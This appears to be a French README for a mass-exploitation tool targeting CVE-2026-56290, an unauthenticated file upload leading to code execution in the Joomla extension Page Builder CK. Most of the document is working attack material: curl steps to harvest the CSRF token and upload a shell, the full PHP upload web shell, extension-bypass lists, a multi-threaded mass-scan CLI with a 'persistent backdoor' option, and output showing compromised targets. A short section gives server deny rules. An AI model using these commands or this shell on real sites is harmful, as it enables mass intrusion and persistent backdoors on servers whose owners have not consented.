
📤 Framework d'exploitation massive pour CVE-2026-56290 — Page Builder CK Joomla : téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE)
CVE-2026-56290 est une vulnérabilité de sévérité critique dans Page Builder CK (com_pagebuilderck), une extension populaire de constructeur de pages Joomla. La méthode du contrôleur browse.ajaxAddPicture accepte les téléchargements de fichiers non authentifiés avec un chemin de destination contrôlé par l'utilisateur, permettant aux attaquants d'écrire des fichiers PHP arbitraires dans des répertoires accessibles via le web.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
Le paramètre path ne subit qu'un trim() comme assainissement — pas de liste blanche, pas de vérification de traversée de répertoire, pas de porte d'authentification. Combiné à un jeton CSRF accessible publiquement depuis n'importe quelle page Joomla, les attaquants peuvent télécharger à distance des shells PHP vers n'importe quel répertoire inscriptible.
| Vecteur | Sévérité | Impact |
|---|---|---|
| Téléchargement de fichier non authentifié |
1. ACCÈS à la page d'accueil Joomla → récolte du jeton CSRF (hex32 + valeur "1")
2. Téléchargement de fichier POST → task=browse.ajaxAddPicture&{token}=1
3. Shell PHP atterrit dans → media/com_pagebuilderck/gfonts/shell.php
4. ACCÈS à l'URL du shell → code exécuté, RCE confirmé
5. POST f=@file vers le shell → téléchargement d'outils supplémentaires
6. GET ?cleanup=1 → le shell s'auto-détruit
Remarque : La version est détectée à partir du fichier manifeste Joomla à l'emplacement
/administrator/manifests/files/com_pagebuilderck.xml. Si le manifeste est inaccessible, le scanner considère par défaut la cible comme potentiellement vulnérable.
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target URL d'une seule cible
-f, --file Fichier contenant les URL cibles (une par ligne, # pour les commentaires)
-o, --output Fichier de sortie TXT en direct (par défaut : cve-2026-56290_live.txt)
--json Chemin du fichier de rapport JSON (par défaut : cve-2026-56290_report.json)
--threads Travailleurs simultanés (par défaut : 20)
--timeout Délai d'attente en secondes (par défaut : 15)
--no-cleanup Laisser les shells sur la cible (porte dérobée persistante)
-v, --verbose Sortie détaillée de la découverte d'endpoint
--known-endpoint Sauter la découverte : task,file_param,folder_param
# Cible unique
python cve_2026_56290.py -t https://target.com
# Scan massif depuis un fichier
python cve_2026_56290.py -f targets.txt
# Sortie personnalisée + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Laisser les shells derrière (porte dérobée persistante)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Sauter la découverte avec un endpoint connu
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
Étape 1 — Récolter le jeton CSRF
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
Étape 2 — Télécharger le shell PHP
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
Étape 3 — Vérifier le RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
Le scanner déploie un shell de téléchargement autonome — aucun exec(), system() ou eval() requis :
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
Capacités du shell :
f=@file?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
Le scanner utilise une approche de bruteforce par niveaux avec un budget de temps par cible (15 s) :
Chaque combinaison : téléchargement d'une sonde .txt → vérification via GET → correspondance en cas de succès. Retourne immédiatement une fois confirmé.
CKFile::makeSafe() bloque .php sur certaines configurations. La stratégie de contournement :
Niveau 1 : Rapide
php, PHP, pht, phar
↓ (si bloqué)
Niveau 2 : Mélange de casses
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (si bloqué)
Niveau 3 : Gestionnaires alternatifs
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (si bloqué)
Niveau 4 : Extensions doubles
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (si bloqué)
Niveau 5 : Astuces Windows
php., PHP., php. , php.SWF
Le jeton CSRF de Joomla est intégré dans chaque page — accueil, connexion, inscription, formulaires de contact, administration :
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
Motif A — Champ caché HTML : <input type="hidden" name="<hex32>" value="1">
Motif B — Configuration JSON : "csrf.token":"<hex32>"
Phase 1 — Empreintes HTML (rapide, définitif)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/Phase 2 — Sondage du panneau d'administration (repli)
/administrator/name="username", mod-login-, administrator/templates/Niveau 1 — Indicateurs forts HTML
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Niveau 2 — Indicateurs faibles HTML avec confirmation
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Niveau 3 — Sondages de fichiers directs (détecte les installations où PBCK n'est pas sur la page d'accueil)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Mettez à jour Page Builder CK vers la dernière version corrigée
# Vérifiez : https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — bloquer l'accès non authentifié au contrôleur de téléchargement
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess dans media/ — désactiver l'exécution PHP
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scannez votre propre infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT
Ce logiciel est fourni uniquement à des fins éducatives et pour des recherches de sécurité légitimes. Il est destiné à être utilisé par :
- 🛡️ Professionnels de la sécurité menant des tests d'intrusion autorisés
- 🏢 Organisations auditant leur propre infrastructure Joomla
- 🔬 Chercheurs étudiant les techniques d'exploitation de vulnérabilités
- 🎓 Étudiants apprenant la sécurité des applications web
❌ Vous NE POUVEZ PAS utiliser ce logiciel pour :
- Accéder à des systèmes informatiques sans autorisation écrite explicite
- Compromettre, endommager ou perturber des systèmes que vous ne possédez pas
- Vous engager dans toute activité illégale
⚖️ Avis légal
L'accès non autorisé à des systèmes informatiques enfreint les lois incluant, sans s'y limiter :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonésie : UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Union européenne : Directive 2013/40/UE
- Royaume-Uni : Computer Misuse Act 1990
Le(s) auteur(s) décline(nt) TOUTE RESPONSABILITÉ pour toute utilisation abusive, tout dommage ou toute conséquence légale résultant de l'utilisation de cet outil. En utilisant ce logiciel, vous reconnaissez être seul responsable de vos actions et acceptez de vous conformer à toutes les lois applicables.
⚡ Construit avec précision pour la communauté de recherche en sécurité ⚡
Joomla® est une marque déposée de Open Source Matters, Inc.
Ce projet n'est ni affilié ni approuvé par Joomla, Open Source Matters ou Page Builder CK.
| 9.8 (Critique) |
| Exécution de code PHP arbitraire |
| Récolte de jeton CSRF | 5.3 (Moyen) | Permet la chaîne de téléchargement |
| Divulgation d'informations | 5.3 (Moyen) | Empreinte de version de l'extension |
| Version de Page Builder CK | Statut | Remarques |
|---|
| 3.1.1 et inférieures | 🔴 Vulnérable | Téléchargement non authentifié confirmé |
| 3.4.10 et inférieures | 🔴 Vulnérable | Plage étendue selon l'analyse |
| 3.5.10 et inférieures | 🔴 Vulnérable | Certaines variantes corrigées peuvent exister |
| > 3.5.10 | 🟢 Possiblement corrigé | Vérifier via le manifeste XML |
🔍 Reconnaissance
|
💀 Exploitation
|
| Niveau | Tâches | Paramètres fichier | Paramètres dossier | Chemins de destination | Combinaisons totales |
|---|
| Niveau 1 (confirmé) | browse.ajaxAddPicture + 3 autres | file, Filedata | path, folder, dir | Top 4 répertoires PBCK | 96 |
| Niveau 2 (grille complète) | 12 tâches | 4 paramètres | 5 paramètres | 20+ chemins | 4 800+ |
| Ressource | Lien |
|---|
| Entrée NVD | CVE-2026-56290 |
| Sécurité Joomla | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| Téléchargement de fichier OWASP | Unrestricted File Upload |